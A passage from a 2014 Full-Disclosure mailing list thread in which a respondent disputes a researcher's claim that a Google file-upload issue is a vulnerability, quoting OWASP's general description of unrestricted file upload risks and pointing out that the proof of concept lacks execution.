 have a better understanding of the bug you found, even though you kinda
 acted like a fool in this thread.

 Please keep on searching and finding vulns, please keep on publishing
 them, and use this as a learning experience that not all bugs or control
 bypasses are security vulnerabilities.

 --Rob'

 [1] As per OWASP (
 https://www.owasp.org/index.php/Unrestricted_File_Upload):

 There are really two classes of problems here. The first is with the
 file metadata, like the path and file name. These are generally provided by
 the transport, such as HTTP multi-part encoding. This data may trick the
 application into overwriting a critical file or storing the file in a bad
 location. You must validate the metadata extremely carefully before using
 it.

 Your POC doesn't demonstrate that.

 The other class of problem is with the file size or content. The range
 of problems here depends entirely on what the file is used for. See the
 examples below for some ideas about how files might be misused. To protect
 against this type of attack, you should analyze everything your application
 does with files and think carefully about what processing and interpreters
 are involved.

 Your POC kinda does that, but you didn't provide proof it's possible to
 execute what you uploaded, either using social engineering or any other
 method.

 Also, please don't say verified by a couple of recognised experts
 including OWASP unless you actually spoke with someone @owasp and she
 validated your findings.


 On Fri, Mar 14, 2014 at 7:40 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC